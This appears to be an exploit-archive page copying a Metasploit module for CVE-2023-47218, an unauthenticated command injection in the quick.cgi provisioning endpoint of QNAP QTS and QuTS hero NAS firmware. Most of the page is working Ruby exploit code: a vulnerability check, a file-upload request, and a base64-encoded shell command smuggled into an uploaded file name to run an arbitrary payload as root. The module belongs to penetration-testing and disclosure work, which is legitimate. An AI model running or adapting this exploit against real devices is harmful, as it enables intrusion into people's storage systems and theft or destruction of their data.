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QNAP QTS / QuTS Hero Unauthenticated Remote Code Execution

CVE Category Price Severity
CVE-2023-47218 CWE-78 $10,000 Critical
Author Risk Exploitation Type Date
Unknown High Remote 2024-02-22
CPE
cpe:cpe:/a:qnap:qts:4.2.6
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C/CR:H/IR:H/AR:H/MAV:N/MAC:L/MPR:N/MUI:R/MS:U/MC:H/MI:H/MA:H 0.023369 0.53045

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024020070

Below is a copy:

QNAP QTS / QuTS Hero Unauthenticated Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'QNAP QTS and QuTS Hero Unauthenticated Remote Code Execution in quick.cgi',
        'Description' => %q{
          There exists an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and
          QuTS hero. QTS is a core part of the firmware for numerous QNAP entry and mid-level Network Attached Storage
          (NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices.

          The vulnerable endpoint is the quick.cgi component, exposed by the devices web based administration feature.
          The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used
          during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully
          initialized, the quick.cgi component is disabled on the system.

          An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command
          injection, allowing the attacker to execute arbitrary commands on the device.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sfewer-r7', # CVE discovery, MSF module, Rapid7 Blog
          'Spencer McIntyre', # Assistance
          'jheysel-r7' # Docs
        ],
        'References' => [
          ['CVE', '2023-47218'],
          ['URL', 'https://www.qnap.com/en/security-advisory/qsa-23-57'],
          ['URL', 'https://www.rapid7.com/blog/post/2024/02/13/cve-2023-47218-qnap-qts-and-quts-hero-unauthenticated-command-injection-fixed']
        ],
        'DisclosureDate' => '2024-02-13',
        'Platform' => %w[unix linux],
        'Arch' => [ARCH_CMD],
        'Privileged' => true,
        'Targets' => [ [ 'Default', {} ] ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 80,
          'SSL' => false,
          'FETCH_WRITABLE_DIR' => '/mnt/update'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/cgi-bin/quick/quick.cgi',
      'vars_get' => {
        'func' => Rex::Text.rand_text_alphanumeric(8)
      }
    )

    return CheckCode::Unknown('Connection failed') unless res

    return CheckCode::Safe('Received HTTP status code: 404. This indicates the device is not vulnerable.') if res.code == 404

    return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200

    # This is the content data we get back from a vulnerable system (testing firmware TS-X64_20230926-5.1.2.2533):

    # <?xml version="1.0" encoding="UTF-8"?>
    # <Storage>
    # <Result>failure</Result>
    # <Errcode>801</Errcode>
    # <Errmsg>
    # No Parameter.
    # </Errmsg>
    # </Storage>

    return Exploit::CheckCode::Detected if res.body.include? '<Result>failure</Result>'

    CheckCode::Unknown
  end

  def exploit
    # XXX: the command injection has a limit of 127 characters, so we drop our payload to a file and then execute that file.
    bootstrap_file = Rex::Text.rand_text_alphanumeric(8)

    bootstrap_script = [
      '#!/bin/bash',
      payload.encoded
    ].join("\n")

    upload_file(bootstrap_file, bootstrap_script)
    register_file_for_cleanup("#{datastore['FETCH_WRITABLE_DIR']}/#{bootstrap_file}")
    execute_command("bash #{datastore['FETCH_WRITABLE_DIR']}/#{bootstrap_file}")
  end

  def execute_command(cmd)
    cmd_injection_filename = "\"$($(echo -n #{Base64.strict_encode64(cmd)}|base64 -d))\""

    upload_file(Rex::Text.uri_encode(cmd_injection_filename), Rex::Text.rand_text_alphanumeric(8))
    register_file_for_cleanup("#{datastore['FETCH_WRITABLE_DIR']}/#{cmd_injection_filename}")
  end

  def upload_file(file_name, file_data)
    if file_name.length > 127
      fail_with(Failure::BadConfig, "The upload file name is too long (#{file_name.length}), must be < 128 bytes.")
    end

    data = Rex::MIME::Message.new
    data.add_part(file_data, 'text/plain', 'binary', "form-data; #{Rex::Text.rand_text_alphanumeric(8)}=\"#{Rex::Text.rand_text_alphanumeric(8)}\"; #{Rex::Text.rand_text_alphanumeric(8)}=\"#{file_name}\"")

    send_request_cgi(
      'method' => 'POST',
      'uri' => '/cgi-bin/quick/quick.cgi',
      'vars_get' => {
        'func' => 'switch_os',
        'todo' => 'uploaf_firmware_image'
      },
      'headers' => {
        'User-Agent' => 'Mozilla Macintosh'
      },
      'ctype' => "multipart/form-data;boundary=\"#{data.bound}\"",
      'data' => data.to_s
    )
  end
end

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